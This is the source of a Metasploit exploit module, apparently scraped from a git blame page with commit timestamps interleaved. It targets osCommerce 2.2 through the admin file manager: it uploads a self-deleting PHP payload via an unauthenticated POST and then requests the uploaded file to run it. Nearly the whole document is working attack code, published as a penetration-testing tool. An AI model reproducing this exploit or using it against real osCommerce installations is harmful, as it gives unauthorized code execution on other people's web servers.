2009-11-14 01:56:21 +00:00
|
|
|
##
|
2009-11-14 04:31:00 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2009-11-14 01:56:21 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2009-11-14 01:56:21 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = ExcellentRanking
|
2009-11-14 01:56:21 +00:00
|
|
|
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
|
|
|
|
def initialize(info = {})
|
2009-11-14 04:31:00 +00:00
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'osCommerce 2.2 Arbitrary PHP Code Execution',
|
|
|
|
'Description' => %q{
|
2009-11-14 01:56:21 +00:00
|
|
|
osCommerce is a popular open source E-Commerce application.
|
2010-03-10 05:58:01 +00:00
|
|
|
The admin console contains a file management utility that
|
|
|
|
allows administrators to upload, download, and edit files.
|
|
|
|
This could be abused to allow unauthenticated attackers to
|
|
|
|
execute arbitrary code with the permissions of the
|
|
|
|
webserver.
|
|
|
|
},
|
2009-11-14 01:56:21 +00:00
|
|
|
'Author' => [ 'egypt' ],
|
2009-11-15 19:53:03 +00:00
|
|
|
'License' => MSF_LICENSE,
|
2010-03-10 05:58:01 +00:00
|
|
|
'References' =>
|
|
|
|
[
|
2009-11-14 13:26:27 +00:00
|
|
|
[ 'OSVDB', '60018' ],
|
2012-06-28 05:37:37 +00:00
|
|
|
[ 'EDB', '9556' ]
|
2010-07-02 00:10:51 +00:00
|
|
|
],
|
2009-11-14 01:56:21 +00:00
|
|
|
'Privileged' => false,
|
|
|
|
'Platform' => ['php'],
|
2010-03-10 05:58:01 +00:00
|
|
|
'Arch' => ARCH_PHP,
|
2009-11-14 04:31:00 +00:00
|
|
|
'Payload' =>
|
2009-11-14 01:56:21 +00:00
|
|
|
{
|
2010-04-30 08:40:19 +00:00
|
|
|
'Space' => 4000,
|
2010-03-10 05:58:01 +00:00
|
|
|
# max url length for some old versions of apache according to
|
|
|
|
# http://www.boutell.com/newfaq/misc/urllength.html
|
2009-11-14 01:56:21 +00:00
|
|
|
'DisableNops' => true,
|
|
|
|
#'BadChars' => %q|'"`|, # quotes are escaped by PHP's magic_quotes_gpc in a default install
|
2009-11-14 04:31:00 +00:00
|
|
|
'Compat' =>
|
2009-11-14 01:56:21 +00:00
|
|
|
{
|
|
|
|
'ConnectionType' => 'find',
|
|
|
|
},
|
|
|
|
# Since our payload is uploaded as a file, it is polite to
|
|
|
|
# clean up after ourselves.
|
|
|
|
'Prepend' => "unlink(__FILE__);",
|
|
|
|
'Keys' => ['php'],
|
|
|
|
},
|
|
|
|
'Targets' => [ ['Automatic', { }], ],
|
2010-07-03 03:13:45 +00:00
|
|
|
'DefaultTarget' => 0,
|
|
|
|
'DisclosureDate' => 'Aug 31 2009'
|
2009-11-14 01:56:21 +00:00
|
|
|
))
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('URI', [ true, "Base osCommerce directory path", '/catalog/']),
|
|
|
|
], self.class)
|
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
# Our filename gets run through basename(), so we can have arbitrary
|
|
|
|
# junk in front of slashes and it will get stripped out. The unlink in
|
|
|
|
# Payload => Prepend above ensures that the file is deleted.
|
|
|
|
filename = rand_text_alphanumeric(rand(5)+5) + "/"
|
2009-11-14 04:31:00 +00:00
|
|
|
(rand(5)+5).times do
|
2009-11-14 01:56:21 +00:00
|
|
|
filename << rand_text_alphanumeric(rand(5)+5) + "/"
|
|
|
|
end
|
|
|
|
filename << rand_text_alphanumeric(rand(5)+5) + ".php"
|
|
|
|
|
2009-11-14 04:31:00 +00:00
|
|
|
|
2009-11-14 02:09:32 +00:00
|
|
|
p = rand_text_english(rand(100)+100) + "<?php " + payload.encoded + " ?>" + rand_text_english(rand(100)+100)
|
|
|
|
p = Rex::Text.uri_encode(p)
|
2009-11-14 01:56:21 +00:00
|
|
|
data = "filename=#{filename}&file_contents=#{p}"
|
|
|
|
|
|
|
|
print_status("Sending file save request")
|
|
|
|
response = send_request_raw({
|
2013-01-31 05:23:41 +00:00
|
|
|
'uri' => normalize_uri(datastore['URI'], "admin/file_manager.php/login.php") + "?action=save",
|
2009-11-14 01:56:21 +00:00
|
|
|
'method' => 'POST',
|
|
|
|
'data' => data,
|
|
|
|
'headers' =>
|
|
|
|
{
|
|
|
|
'Content-Type' => 'application/x-www-form-urlencoded',
|
|
|
|
'Content-Length' => data.length,
|
|
|
|
}
|
|
|
|
}, 3)
|
|
|
|
|
2009-11-14 02:03:16 +00:00
|
|
|
# If the upload worked, the server tries to redirect us to some info
|
|
|
|
# about the file we just saved
|
|
|
|
if response and response.code != 302
|
|
|
|
print_error("Server returned non-302 status code (#{response.code})")
|
2009-11-14 01:56:21 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
print_status("Requesting our payload")
|
|
|
|
# very short timeout because the request may never return if we're
|
|
|
|
# sending a socket payload
|
|
|
|
timeout = 0.1
|
|
|
|
response = send_request_raw({
|
|
|
|
# Allow findsock payloads to work
|
2009-11-14 04:31:00 +00:00
|
|
|
'global' => true,
|
2013-01-31 05:23:41 +00:00
|
|
|
'uri' => normalize_uri(datastore['URI'], File.basename(filename))
|
2009-11-14 01:56:21 +00:00
|
|
|
}, timeout)
|
|
|
|
|
|
|
|
handler
|
|
|
|
end
|
|
|
|
end
|